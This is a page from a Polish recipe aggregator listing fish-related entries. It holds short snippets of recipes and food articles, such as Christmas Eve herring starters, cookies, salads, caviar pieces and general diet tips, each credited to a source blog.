ryba - 22624 przepisów (strona:546/1509)

Sernik wiedeński mojego taty. Tradycyjny sernik bez spodu, proszku do pieczenia i bez mąki ziemniaczanej 8

Tradycyjny sernik wiedeński mojego taty Polecam przepis na tradycyjny sernik wiedeński , który piekł mój tato. W tym serniku nie znajdziecie proszku do pieczenia, mąki ziemniaczanej , a

Korniszonki
Czeskie ciasteczka orzechowe, czyli słynne Masarykovo cukroví (ciasteczka Masaryka) 7

Czeskie ciasteczka orzechowe, czyli słynne Masarykovo cukroví  Ciasteczka Masaryka, Masarykovo cukroví to przepyszne kruche ciasteczka orzechowe - kultowe świąteczne ciasteczka w Czechach. Ich nazwa pochodzi

Korniszonki
Śledzie z żurawiną w sosie jogurtowo-chrzanowym 8

Śledzie z żurawiną w sosie jogurtowo-chrzanowym - świetne jako wigilijna przystawka Śledzie z żurawiną w delikatnym sosie jogurtowo-chrzanowym to bardzo smaczna i bardzo elegancka przekąska

Korniszonki
Ślimaczki z ciasta francuskiego z makiem 9

Ślimaczki z ciasta francuskiego z masą makową Ślimaczki francuskie to pomysł na ekspresowe ciastka z makiem , nie tylko na Boże Narodzenie. Do ich przygotowania wystarczy opakowanie

Korniszonki
Pomysły na przystawki wigilijne — sprawdzone przepisy 10

około 15-20 minut w 200°C. Seleryb a Seleryba to hit wśród roślinnych alternatyw dla tradycyjnych rybnych dań. Seler, dzięki swojej zwartej strukturze i delikatnemu smakowi, doskonale imituje rybę, szczególnie w połączeniu z wodorostami nori. Całość świetnie smakuje zarówno na ciepło, jak i na zimno, a przy tym doskonale zaprezentuje się na świątecznym stole . Seler obieramy i kroimy(...)elegancka propozycja, która zachwyca nie tylko smakiem, ale też wyglądem. Można go serwować w małych porcjach lub na kromkach ciemnego pieczywa, które świetnie komponuje się z intensywnym smakiem ryby. Zaczynamy od ugotowania jajek na twardo. Śledzie odsączamy z oleju i kroimy w kostkę. Mieszamy z pokrojoną w kostkę cebulą, musztardą francuską i solą. Na talerzu kładziemy okrągłą foremkę. Do środka

kuron.com.pl
Kocie oczka - stary przepis na tradycyjne kruche ciasteczka przełożone dżemem 9

Kocie oczka, tradycyjne ciasteczka znane w Galicji i na Śląsku Cieszyńskim Dla mnie kocie oczka to smak dzieciństwa . Takie kruche i rozpływające się w ustach ciasteczka

Korniszonki
Śledzie z powidłami i wędzoną papryką pimenton 9

Śledzie z powidłami i wędzoną papryką pimenton Śledzie z powidłami i dymnym posmakiem pimentonu i śliwek są naprawdę warte wypróbowania . Mają głęboki, dymny smak, przełamany słodyczą

Korniszonki
Kruche rogaliki babci Rysi 11

Kruche rogaliki babci Rysi z Ustronia. Ciasteczka cieszyńskie na Boże Narodzenie Mam dla Was kolejny przepis, który zawdzięczam babci Rysi z Ustronia. To receptura na przepyszne

Korniszonki
Uszka z grzybami z wigilijną wróżbą 8

Wigilijne uszka z grzybami Dzielę się z Wami moim domowym przepisem na uszka z grzybami . Nie różni się od specjalnie od innych, które znajdziecie w internecie

Korniszonki
Świąteczne choinki z tuńczykiem, serkiem i koperkiem 11

Choinki z serkiem, tuńczykiem i koperkiem - efektowna przystawka lub świąteczna przekąska Choinki z serkiem, tuńczykiem i koperkiem to ostatnio hit , który bez przerwy pojawia się Facebooku

Korniszonki
Śledzie po wileńsku, czyli śledzie w pomidorach, z grzybami i kiszonymi ogórkami 8

Wigilijne śledzie po wileńsku Śledzie po wileńsku to wyjątkowo pyszna propozycja wigilijnej przystawki . W tym przepisie tradycyjne solone śledzie łączymy ze słodkimi pomidorami, cebulą i aksamitnymi

Korniszonki
Czubryca Zielona – Idealna Przyprawa do Każdego Dania 9

połączenie sprawia, że czubryca zielona jest niezwykle wszechstronna i uniwersalna. Zalety czubrycy zielonej Uniwersalność Czubryca zielona to przyprawa, która pasuje do wielu różnych dań. Można jej używać do mięs, ryb, warzyw, zup, sosów, a nawet sałatek. Jej wszechstronność sprawia, że jest idealna do eksperymentów kulinarnych i odkrywania nowych smaków. Dzięki czubrycy zielonej, każde danie może zyskać wyjątkowy charakter. Korzyści zdrowotne(...)początku gotowania, aby składniki miały czas na uwolnienie swoich aromatów. Można także posypywać nią gotowe dania, aby podkreślić ich smak. Czubryca zielona doskonale komponuje się z różnymi rodzajami mięsa, ryb, a także z warzywami. Dodaj ją do swoich ulubionych przepisów i odkryj nowe smaki. Czubryca zielona w codziennej kuchni Proste przepisy Czubryca zielona sprawdzi się również w prostych, codziennych przepisach

CityTaste
Wigilijna zupa z suszonych grzybów z ziemniakami 21

Wigilijna zupa grzybowa z ziemniakami Proponują przepis na nieco inną zupę grzybową, która doskonale sprawdzi się na wigilijnym stole . Tym razem nie będzie to zupa z

Korniszonki
Sałatka z tuńczykiem, ziemniakami i kiszonym ogórkiem po wiejsku 7

  Prosta sałatka z tuńczykiem i ziemniakami w stylu wiejskim Polecam przepis na bardzo prostą, ale pyszną sałatkę z tuńczykiem, ziemniakami i kiszonym ogórkiem, z dodatkiem

Korniszonki
Najlepsza sałatka z łososiem i awokado  10

potrzeba do przygotowania najlepszej sałatki z łososiem i awokado, jaką kiedykolwiek jadłam. Doskonale zbilansowany przez warzywa smak łososia przypadnie do gustu nawet osobom, które nie przepadają za intensywnym smakiem ryby. Składniki 200 g wędzonego filetu z łososia bez skóry 120 g roszponki lub miksu sałat zawierającego roszponkę 25 g kiełków rzodkiewki 10 pomidorków koktajlowych 1 awokado 2 łyżki oliwy(...)jest bardzo prosty. Jeśli szukasz więcej ciekawych pomysłów na szybkie dania, sprawdź też mój przepis na sałatkę z kurczakiem i granatem . A jeśli potrzebujesz więcej receptur na dania z ryb, to polecam Ci też sprawdzić mój przepis na wyśmienitego łososia w sosie chrzanowym . Jakie składniki sprawdzą się jeszcze w sałatce z awokado i łososiem? Jeśli któryś z Twoich domowników

Rozdomowiona
Śledzie z chutneyem śliwkowym, pomidorami i duszoną cebulą 9

Śledzie z chutneyem śliwkowym, pomidorami i duszoną cebulą Dzielę się z Wami wyjątkowym przepisem na przepyszne śledzie z niecodziennym dodatkiem, jakiem jest chutney śliwkowy. Kompozycja smaków

Korniszonki
Prażynka francuska do tortu, czyli chrupka prażynka Callebaut 7

Prażynka Callebaut, nazywana prażynką francuską lub chrupką Callebaut Prażynka Callebaut jest popularnym składnikiem w nowoczesnych słodkich wypiekach, przede wszystkim tortach i deserach, gdzie liczy się zarówno

Korniszonki
Placek królewski babci Marysi, czyli przedwojenny miodownik z masą budyniową 35

Placek królewski babci Marysi, czyli tradycyjny miodownik z masą budyniową Ten przepis pochodzi z zeszytu mojej mamy, która dostała do jeszcze od swojej mamy. Ten przepis

Korniszonki
Bardzo kruche ciastka korzenne - idealne na Boże Narodzenie 10

Kruche ciastka korzenne idealne na Boże Narodzenie Te korzenne ciastka mogą zastąpić tradycyjne pierniki . To przepyszne ciasteczka z ciasta kruchego - bardzo delikatne, rozpływające się w ustach

Korniszonki
Surówka z kiszonych ogórków – idealna do każdego obiadu 16

Surówka z kiszonych ogórków to bardzo zdrowy i pyszny dodatek, który można podać do pieczonych mięs, smażonej ryby, kotletów czy kanapek. Jest bardzo uniwersalna i pasuje praktycznie do wszystkiego. Robi się ją błyskawicznie, wystarczy tylko składniki pokroić lub zetrzeć na tarce i wymieszać ze sobą. Surówka z kiszonych ogórków to prosty, szybki i zdrowy sposób na urozmaicenie naszego codziennego menu(...)surówkę z kiszonych ogórków? Oto kilka pomysłów na dania, z którymi można ją podać: Dania obiadowe: Mięsa pieczone lub duszone: Schabowy, karkówka, pieczone udka z kurczaka czy duszona wołowina. Ryby: Smażone, pieczone lub grillowane, np. dorsz, łosoś czy pstrąg. Dania jednogarnkowe: Bigos, gulasz, czy potrawki na bazie kasz, ryżu lub ziemniaków. Potrawy wegetariańskie: Kotleciki warzywne: Z ciecierzycy, soczewicy, czy kalafiora

e-PrzepisyKulinarne
Cynamonowe paluchy z ciasta francuskiego. Pachnąca i chrupiąca przekąska gotowa w 15 minut 10

Cynamonowe paluchy z ciasta francuskiego Cynamonowe paluchy z ciasta francuskiego to nie tylko błyskawiczna, ale i efektowna przekąska, która świetnie sprawdzi się zarówno do kawy, jak

Korniszonki
Zapiekanka – jednogarnkowe dania, które robi wrażenie! 55

rozkosz! Pomysł na dziś – zapiekanka z batatów i pora – kulinarny hit na każdą okazję! Zapiekanka z batatów i pora to prosta przystawka do obiadu, która pasuje zarówno do ryby, jak i mięsa. Można ją również podać ze smażonymi jajkami, co czyni ją idealnym wyborem na szybki bezmięsny posiłek w tygodniu. Ta uniwersalna przystawka na ciepło pasuje do wszystkiego – zarówno(...)eksperymentuję z zapiekankami, przyrządzając je na różne sposoby, dostosowane do okazji i gustu domowników. To danie świetnie sprawdza się zarówno w wersji wegetariańskiej, jak i z dodatkiem mięsa czy ryb. Poniżej znajdziecie kilka sprawdzonych przepisów na zapiekanki, które nie tylko zaoszczędzą Wam czas, ale też zagwarantują pyszne doznania smakowe i mnóstwo komplementów od bliskich: Zapiekanka na słodko Prosta zapiekanka

codojedzenia
Czy można jesc kisiel na kolację? 10

kolację, warto rozważyć również inne opcje. Istnieje wiele innych lekkich i zdrowych dań, które mogą być doskonałym wyborem na wieczorny posiłek. Na przykład, sałatki z warzyw, lekkie zupy, grillowane ryby lub chude mięso, a także dania z kasz, mogą być świetnymi alternatywami dla kisielu na kolację. Te potrawy dostarczą nam niezbędnych składników odżywczych, a jednocześnie będą lekkie i łatwostrawne. Podsumowanie(...)powinniśmy zadbać o to, aby w ciągu dnia spożyć inne pełnowartościowe posiłki. Jeśli zastanawiamy się nad alternatywami dla kisielu na kolację, warto rozważyć sałatki z warzyw, lekkie zupy, grillowane ryby lub chude mięso, a także dania z kasz. Te potrawy dostarczą nam niezbędnych składników odżywczych i będą równie smaczne i lekkie. Mamy nadzieję, że nasz artykuł pomógł Państwu podjąć świadomą

Żyję by jeść
Nadwaga u nastolatków – jak wspierać zdrowe nawyki żywieniowe młodzieży 14

razowy, brązowy ryż czy pełnoziarnisty makaron dostarczają energii i pomagają utrzymać stabilny poziom cukru we krwi. białko – niezbędne do budowy mięśni i regeneracji organizmu. Włącz do diety chude mięso, ryby, jajka oraz rośliny strączkowe. zdrowe tłuszcze – znajdziesz je w orzechach, awokado, oliwie z oliwek czy tłustych rybach, takich jak łosoś. Dobrym rozwiązaniem są diety oparte na zasadzie zbilansowania wszystkich grup

Natka Pietruszki
Boczniaki jak śledzie przepis 13

takich? To idealna propozycja dla tych, którzy szukają roślinnych alternatyw dla tradycyjnych potraw. Boczniaki są nie tylko pyszne, ale również pełne wartości odżywczych, a ich delikatna tekstura doskonale imituje rybę. W tym poście pokażę Wam, jak w prosty sposób przygotować boczniaki w marynacie, które z pewnością zachwycą Wasze kubki smakowe. Zapraszam do lektury i gotowania! Po więcej inspiracji zapraszam

Dorota Smakuje
Szybka sałatka z brokułem i pomidorami 12

pomidorami jest nie tylko zdrowa i pożywna, ale także niezwykle smaczna i ładnie prezentuje się na stole. To danie można podawać jako samodzielną potrawę, dodatek do grillowanego mięsa czy ryb, a nawet jako lekką przekąskę podczas pikniku. Sałatka świetnie sprawdzi się również na świątecznym stole czy w roli lunchu do pracy. Jest idealna dla tych, którzy cenią sobie lekkie(...)klasyczne połączenie z sałatkami. Pita: Pita nadziewana sałatką to szybka i smaczna przekąska. Dania główne: Grillowany kurczak: Połączenie delikatnego mięsa kurczaka z chrupiącą sałatką to zawsze dobry wybór. Ryba: Pieczony łosoś lub grillowana dorada będą doskonałym uzupełnieniem lekkiej sałatki. Tofu: Dla wegetarian tofu wędzone lub naturalne będzie świetną alternatywą dla mięsa. Zupy: Zupa krem: Lekka zupa krem, np. z pomidorów

e-PrzepisyKulinarne
Autoimmunologiczne zapalenie wątroby (AZW). Jaką dietę zastosować? 17

płatki owsiane. 4. Białko o wysokiej wartości odżywczej Wątroba często potrzebuje dodatkowego wsparcia w produkcji i regeneracji tkanek, dlatego warto spożywać białko o wysokiej wartości odżywczej. Najlepsze źródła to ryby (szczególnie tłuste ryby morskie), drób bez skóry, chudy nabiał, jajka i rośliny strączkowe. 5. Warzywa i owoce bogate w antyoksydanty Antyoksydanty pomagają walczyć ze stresem oksydacyjnym i mogą wspierać funkcje

Natka Pietruszki
Wrzodziejące zapalenie jelita grubego (WZJG). Jak pomóc sobie dietą? 19

alternatywy roślinne (mleko migdałowe, ryżowe, owsiane). 5. Uwzględniaj źródła białka w diecie Białko jest ważne dla regeneracji tkanek i wzmocnienia organizmu. Wybieraj chude mięsa (np. drób bez skóry, cielęcina), ryby, jajka oraz tofu. Unikaj tłustych mięs i produktów wędzonych, które mogą być trudniejsze do strawienia. 6. Unikaj ostrych przypraw i drażniących potraw Potrawy mocno przyprawione, zwłaszcza ostrymi przyprawami, mogą nasilać(...)wcześniejszej konsultacji z lekarzem, ponieważ niektóre suplementy mogą obciążać jelita. Przykładowe produkty, które można spożywać przy WZJG: Zboża : biały ryż, kasza manna, jasne pieczywo, drobne makarony Białko : chude mięso, ryby, jajka, tofu Warzywa : gotowana marchew, ziemniaki, dynia, cukinia Owoce : banany, obrane jabłka, melony, brzoskwinie Tłuszcze : niewielkie ilości oliwy z oliwek, oleju rzepakowego Przeczytaj także: O jelitach słów kilka Kisiel lniany

Natka Pietruszki
Prosto, zdrowo i aromatycznie – obiad w sam raz dla Ciebie 19

ryżu basmati 1 łyżka prażonych nasion sezamu 1 limonka pokrojona cwiartki Przygotowanie: W misce wymieszać składniki na marynatę. Łososia pokroić na 4 porcje i zanurzyć w marynacie. Marynować rybę przez 20 minut. W międzyczasie ugotować ryż na sypko według wskazówek na opakowaniu lub według mojego przepisu . Rozgrzać olej kokosowy na patelni. Smażyć łososia, zacząć od strony ze skórką. Smażyć około

codojedzenia
Co ma dużo żelaza? Poznaj pełną listę produktów 17

warte uwagi będą pasztety i kaszanka , zawierające omawiany pierwiastek. Sporo żelaza obecnego jest w jajach : kurzym (6,97 mg), kaczym (3,85 mg) oraz gęsim (3,64 mg). Miłośnicy ryb i owoców morza także znajdą w nich pewną ilość żelaza! Najwięcej cennego pierwiastka dostarczy kawior (11,9 mg), ostrygi (5,78 mg), ośmiornice (5,3 mg) i małże(...)Pośród ryb warto natomiast sięgnąć po sardynki (2,92 mg) oraz makrele (1,63 mg). Które warzywa są bogate w żelazo? Co najmniej kilka warzyw jest źródłem żelaza, które warto uwzględnić w swojej diecie. Choć jest ono nieco słabiej przyswajalne, istnieją jednak sposoby poprawiające stopień jego wchłaniania. Mowa tu m.in. o spożywaniu jarzyn na surowo – gotowanie powoduje bowiem znaczne straty

Rozdomowiona
Pasta z pieczonego łososia z puszystym serkiem 16

pieprz do smaku trochę czerwonej papryki olej 1 łyżeczka chrzanu  Przygotowanie: Łososia doprawiamy solą i pieprzem. Rozgrzewamy piekarnik 190 st.C. Na dno formy wylewamy trochę oleju i kładziemy rybę. Pieczemy 25 minut . Po upieczeniu mięso studzimy. Do miski przekładamy rybę rwiemy ją w palcach na małe kawałki, dodajemy serek oraz chrzan i pokrojonego w kosteczkę ogórka kiszonego. Całość doprawiamy

AZgotuj!
Dieta ketogeniczna wegetariańska – jak zacząć dietę keto? Przykładowy jadłospis 12

prowadzi do stanu ketozy. W tym stanie organizm zaczyna spalać tłuszcze jako główne źródło energii, zamiast glukozy. Wegetariańska dieta ketogeniczna natomiast łączy zasady diety keto z wykluczeniem mięsa i ryb, dzięki czemu odpowiednia jest dla osób przestrzegających zasad wegetarianizmu. Jak zbilansować keto dietę wegetariańską Kluczowym aspektem wegetariańskiej diety ketogenicznej jest odpowiednie zbilansowanie składników odżywczych. Ważnym jest, aby spożywać dużą ilość(...)może być równie smaczna i satysfakcjonująca jak tradycyjna dieta ketogeniczna. Keto wegetarianizm a niedobory żywieniowe Jednym z głównych wyzwań keto wegetarianizmu jest unikanie niedoborów związanych z wyeliminowaniem mięsa i ryb z diety. Szczególną uwagę należy zwrócić na dostarczanie odpowiednich ilości witaminy B12, żelaza, kwasów omega-3 oraz błonnika. Spożywanie różnorodnych, bogatych w składniki odżywcze produktów roślinnych pomoże uniknąć potencjalnych problemów

ZGruntuFit
Przepisy na dania jednogarnkowe: szybkie, zdrowe i smaczne posiłki dla każdego 26

Kuchnia azjatycka słynie z bogactwa smaków i aromatów, które doskonale sprawdzają się w przepisach na dania jednogarnkowe. Oto kilka popularnych azjatyckich dań jednogarnkowych: Curry – aromatyczne danie z mięsem, rybą lub warzywami, gotowane w gęstym sosie na bazie mleka kokosowego i przypraw. Bibimbap – koreańska potrawa z ryżem, warzywami, jajkiem i opcjonalnie mięsem, podawana w jednym naczyniu. Pad Thai(...)diety, dlatego warto zadbać o to, aby dania jednogarnkowe były pełne wartości odżywczych. Oto kilka wskazówek, jak przygotować zdrowe danie jednogarnkowe: Wybieraj chude mięso, takie jak kurczak, indyk czy ryby, zamiast tłustych kawałków mięsa. Stawiaj na warzywa i owoce bogate w witaminy, minerały i błonnik, takie jak brokuły, szpinak, marchew czy pomidory. Unikaj dodawania dużych ilości soli – zamiast tego, postaw

Ugotowane pozamiatane
Złote zasady diety pracownika biurowego 16

pracę mózgu Pracownik biurowy to często osoba, która musi pracować umysłowo, zatem warto wiedzieć, jakie produkty będą szczególnie wspierać pracę mózgu. Zdecydowanie warto włączyć je do swojej codziennej diety. Ryby bogate w kwasy omega-3: Tłuste ryby, takie jak łosoś, makrela i sardynki, są bogate w kwasy tłuszczowe omega-3, które są istotne dla zdrowia mózgu. Kwasy omega-3 pomagają

Natka Pietruszki
Ile kosztuje 1 kg kawioru? 22

ziarna, będzie droższy niż kawior niższej jakości, który może mieć mniejsze i mniej atrakcyjne ziarna. Dostępność Kawior jest produktem, który nie jest łatwo dostępny. Z uwagi na ograniczoną ilość ryb produkujących kawior oraz trudności w hodowli, cena kawioru może być wysoka. Ponadto, niektóre gatunki ryb, takie jak beluga, są zagrożone wyginięciem, co również wpływa na cenę kawioru. Przykładowe ceny kawioru

Żyję by jeść
Frytki Historia i Pochodzenie – Jak Ziemniak Podbił Świat 35

Frytki Historia i Pochodzenie – Jak Ziemniak Podbił Świat Frytki, chrupiące kawałki ziemniaka smażone na głębokim oleju, to jedna z najpopularniejszych potraw na całym świecie. Towarzyszą hamburgery, ryby, kanapki, a czasem stanowią danie samo w sobie. Ale skąd wzięły się frytki i jaka jest ich historia? Oto krótka podróż w czasie i przestrzeni śladem tej uwielbianej potrawy. Pochodzenie Frytek: Belgia(...)Belgii i Francji, po czym przywieźli ten zwyczaj do domu. W Ameryce frytki szybko stały się standardowym dodatkiem do hamburgerów, a w Wielkiej Brytanii zaczęły towarzyszyć smażonej rybie w klasycznym „fish and chips”. Rodzaje Frytek Frytki to nie tylko proste, smażone kawałki ziemniaków. Istnieje wiele różnych rodzajów frytek, które różnią się grubością, długością, kształtem i sposobem przygotowania

RafalCook
Z czym jeść ryż? Propozycje dla każdego 31

smaki. Sprawdź moje zestawienie! Ryż na słono Dania na słono to klasyczna opcja, która sprawdzi się w każdej kuchni. Możesz je oprzeć zarówno na mięsie, jak i warzywach czy rybach, tworząc sycące i pełne smaku potrawy. Zobacz, z czym jeść ryż na słono. Dania mięsne Ryż idealnie komponuje się z różnymi rodzajami mięsa. Kurczak, wołowina, wieprzowina czy indyk – każde(...)kurczaka. Popularnym dodatkiem do niego są też rodzynki lub agrest z kompotu. Tak zwana potrawka to od wielu lat popularne danie w wielu polskich domach. Potrawy z dodatkiem ryb Ryż to także idealny dodatek do potraw rybnych. Zapiekanka z tuńczykiem i ogórkami konserwowymi to jedna z ciekawszych propozycji, która zaskoczy niejedno podniebienie. Możesz także podać ryż z grillowanym łososiem

Rozdomowiona
Trójkąty z warzywami i dorszem 16

będzie pyszny obiad, lub pyszne śniadanie a może obiad do pracy? idealnie sprawdzi się jako idealny posiłek do pudełka. Super sprawa, super smak, jest to kompletny posiłek. Ryba jest soczysta i pyszna. Polecam spróbować. Trójkąty z warzywami i dorszem - przepis CZYTAJ DALEJ

Moje Małe Czarowanie
Kiedy jeść ryż? 26

składnik sałatki warzywnej. Ryż na lunch Podczas lunchu ryż może być świetnym składnikiem posiłku. Jest lekkostrawny i dostarcza organizmowi niezbędnych składników odżywczych. Możesz go podać jako dodatek do mięsa, ryby lub warzyw, aby urozmaicić swoje danie. Ryż jest również dobrym źródłem błonnika, który pomaga w utrzymaniu prawidłowego trawienia. Ryż na kolację Jeśli szukasz lekkiego i łatwego do strawienia posiłku(...)być korzystne. Węglowodany zawarte w ryżu są szybko przyswajane przez organizm i mogą dostarczyć Ci energii potrzebnej do wykonywania wysiłku fizycznego. Możesz go podać jako dodatek do kurczaka lub ryby przed treningiem, aby zwiększyć swoją wydolność. Ryż jako przekąska Ryż może być również świetną przekąską w ciągu dnia. Możesz przygotować go w formie prażonej lub w postaci chrupiących chipsów ryżowych

Żyję by jeść
Fast food Nocą Historia i Pochodzenie  30

Pizza Hut, stała się jednym z najpopularniejszych dań fast food na świecie. Szybkie przygotowanie i różnorodność dodatków czynią ją idealnym wyborem na szybki posiłek. 3. Kurczak i Ryby: Sieci takie jak KFC czy Popeyes zbudowały swoje imperia na smażonym kurczaku, który stał się synonimem szybkiego jedzenia. Oprócz kurczaka, w fast foodach często oferowane są również dania z ryb, takie

RafalCook
Jak wykorzystać cukier lawendowy w kuchni – od deserów po dania główne 36

lawendowym, czosnkiem, tymiankiem i rozmarynem. Mięso powinno być marynowane przez co najmniej kilka godzin (optymalnie całą noc) przed pieczeniem go w piekarniku lub na ruszcie grilla. Lawendowy sos do ryb przygotowuje się ze śmietany, cukru lawendowego, cytryny i świeżego koperku. Doskonale komponuje się z grillowanym łososiem, wydobywając głębię jego smaku i podkreślając strukturę mięsa. Jeśli nie przepadasz za śmietaną(...)cukrem lawendowym, solą oraz pieprzem. Gdy całość będzie zarumieniona i miękka, warzywa są gotowe do podawania. Można je jeść solo, jako danie wegetariańskie, albo jako dodatek do mięs czy ryb. Aromatyczny cukier lawendowy — potrawy cieszące podniebienie Na koniec kilka ogólnych uwag. Pamiętaj, aby używać cukru lawendowego z umiarem. Jest to przyprawa, która może zdominować smak potrawy. Powyższe przepisy traktuj jako

Słodkie okruszki
Jak wprowadzić więcej warzyw do diety- przewodnik do zdrowszego odżywiania 28

warzyw do posiłków, np. do omletów, sałatek, kanapek czy makaronów. Wykorzystywanie warzyw jako bazy do sosów i zup, np. pomidorów, papryki czy brokułów. Stosowanie warzyw jako dodatków do mięsa, ryb czy dań wegetariańskich . Przygotowywanie warzywnych smoothie, które można wypić na śniadanie lub jako przekąskę. Przepisy na smaczne dania z warzywami Wprowadzenie warzyw do diety może być smaczne i kolorowe(...)pietruszki. Pieczone pasternaki z miodem i tymiankiem : Pokrój pasternaki w słupki, polej miodem, posyp tymiankiem, solą i pieprzem, a następnie piecz w piekarniku. Podawaj jako dodatek do mięsa lub ryby. Surówka z kalarepy i marchwi : Zetrzyj kalarepę i marchew na tarce, dodaj posiekaną cebulę, sól, pieprz, olej i ocet, a następnie wymieszaj. Podawaj jako zdrową przekąskę lub dodatek do obiadu

Ugotowane pozamiatane
Gdzie można kupić Kawior? 31

jedno z najbardziej pożądanych dań na ekskluzywnych przyjęciach i uroczystościach. Kawior – krótka historia Kawior jest pochodzenia rosyjskiego i jest znany od wieków jako wykwintna przekąska. Pochodzi z ikry ryb z rodziny jesiotrowatych, takich jak jesiotr, beluga, osetra i sevruga. Kawior jest uważany za jeden z najdroższych i najbardziej ekskluzywnych produktów spożywczych na świecie. Rodzaje kawioru Istnieje wiele rodzajów kawioru(...)zależnie od gatunku ryby, z której pochodzi. Najbardziej znane i cenione są kawior jesiotra, belugi i osetra. Kawior jesiotra jest najbardziej popularny i dostępny w różnych kolorach, takich jak złoty, czarny i czerwony. Beluga to najrzadszy i najdroższy rodzaj kawioru, charakteryzujący się dużymi jasnoszarymi ziarnami. Osetrowy kawior ma mniejsze ziarna i jest bardziej dostępny cenowo. Gdzie kupić kawior? Jeśli szukasz

Żyję by jeść
Surówka do wszystkiego z sałatą lodową – prawdziwy HIT! 65

grilla : Surówka doskonale komponuje się z grillowanym kurczakiem, wieprzowiną czy stekiem. Świeżość sałaty lodowej świetnie równoważy bogactwo smaków mięs. Jest też idealnym dodatkiem do kiełbasek, szaszłyków czy hamburgerów Ryby i owoce morza : Lekka sałatka dobrze współgra z pieczoną rybą, grillowanymi krewetkami czy łososiem. Potrawy z kuchni meksykańskiej : Tacos, burritos czy quesadillas – wszystkie te dania będą smakować lepiej z dodatkiem świeżej

e-PrzepisyKulinarne
Odpowiednia dieta bogata w witaminy to klucz do zdrowia. Sprawdź czego nie powinno zabraknąć w Twojej diecie 27

zębów, ponieważ wspomaga wchłanianie wapnia i fosforu z pożywienia. Niedobór witaminy D może prowadzić do osteoporozy u osób dorosłych i krzywicy u dzieci. Naturalne źródła tej witaminy to tłuste ryby (łosoś, makrela, sardynki), oleje rybne, jaja oraz wzbogacane produkty mleczne. Jak zadbać o dietę bogatą w witaminy? Wiesz już jakich witamin nie powinno zabraknąć w twojej diecie. Jak jednak zadbać(...)nich rozpuszczają się w tłuszczach, dlatego też w zdrowej diecie nie powinno ich zabraknąć – szczególnie kwasów tłuszczowych omega 3 i 6. Nie można zapominać o źródłach białka, jak ryby, drób, orzechy czy rośliny strączkowe, które również są cennym źródłem witamin. Uzupełnieniem diety mogą być suplementy witaminowe, jednak powinny być stosowane z rozwagą i najlepiej po konsultacji z lekarzem

Blendman
Keto święta 30

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych można(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją do wspólnego

Keto - Meto Przepisy
Keto święta 30

pieczony stek wołowy lub pieczeń wieprzowa, podawane z aromatycznymi ziołami i sosem z masła . Inną opcją są duszone żeberka wieprzowe w sosie koperkowym , idealne na wigilijny stół. Dla miłośników ryb pieczona dorsz w sosie cytrynowym lub łosoś z koperkiem to pyszne i zdrowe dania. Wielbicieli drobiu mogą zainteresować pieczone kawałki kurczaka z suszonymi pomidorami i bazylią . Wśród dań mięsnych można(...)Podczas gdy dieta ketogeniczna promuje zdrowe tłuszcze i ograniczenie węglowodanów, keto dania świąteczne mogą być równie smaczne i atrakcyjne dla podniebienia. Korzystanie z naturalnych składników, takich jak warzywa, mięso, ryby i zdrowe tłuszcze, pozwala na przygotowanie pysznych potraw, które są zarówno zgodne z zasadami diety keto, jak i zachwycające dla kubków smakowych. Ponadto keto święta mogą być okazją do wspólnego

Keto Meto Przepisy
Czy jest kawior że ślimaka? 36

jest kawior że ślimaka? Czy jest kawior że ślimaka? W ostatnich latach kawior stał się jednym z najbardziej ekskluzywnych i poszukiwanych produktów spożywczych na świecie. Tradycyjnie pochodził głównie z ryb, takich jak jesiotr czy łosoś. Jednak wraz z rosnącym zainteresowaniem kulinarnym i eksperymentowaniem, pojawiły się nowe odmiany kawioru, w tym kawior ze ślimaka. Historia kawioru Kawior jest znany od wieków(...)przez różne kultury na całym świecie. Początkowo był spożywany przez starożytnych Persów, a następnie rozprzestrzenił się na inne regiony, takie jak Rosja i Europa. Tradycyjnie kawior pochodził z jaj ryb jesiotrowatych, które są delikatnie zbierane i przetwarzane, aby uzyskać charakterystyczne ziarenka kawioru. Nowe trendy kulinarnego eksperymentowania W ostatnich latach kucharze i smakosze zaczęli eksperymentować z różnymi rodzajami kawioru, aby odkryć

Żyję by jeść
Czego brakuje w organizmie gdy bolą stawy? 32

może prowadzić do niedoboru tej witaminy. Aby zwiększyć poziom witaminy D w organizmie, warto spędzać więcej czasu na świeżym powietrzu i spożywać produkty bogate w tę witaminę, takie jak ryby, jaja i mleko. Niedobór witaminy C Witamina C jest znana ze swoich właściwości przeciwzapalnych i antyoksydacyjnych. Jej niedobór może prowadzić do osłabienia tkanki łącznej, w tym stawów. Witamina C jest(...)łagodzeniu bólu stawów. Niedobór tych kwasów może prowadzić do stanów zapalnych w organizmie, które mogą wpływać na stawy. Aby zwiększyć spożycie kwasów tłuszczowych omega-3, warto sięgać po ryby, takie jak łosoś, sardynki i tuńczyk, oraz orzechy włoskie i nasiona chia. Niedobór minerałów Minerały, takie jak magnez, wapń i miedź, są niezbędne dla zdrowia naszych stawów. Niedobór tych minerałów może

Żyję by jeść
Zdrowe oczy, czyli co warto mieć w swoim menu, aby dobrze widzieć? 29

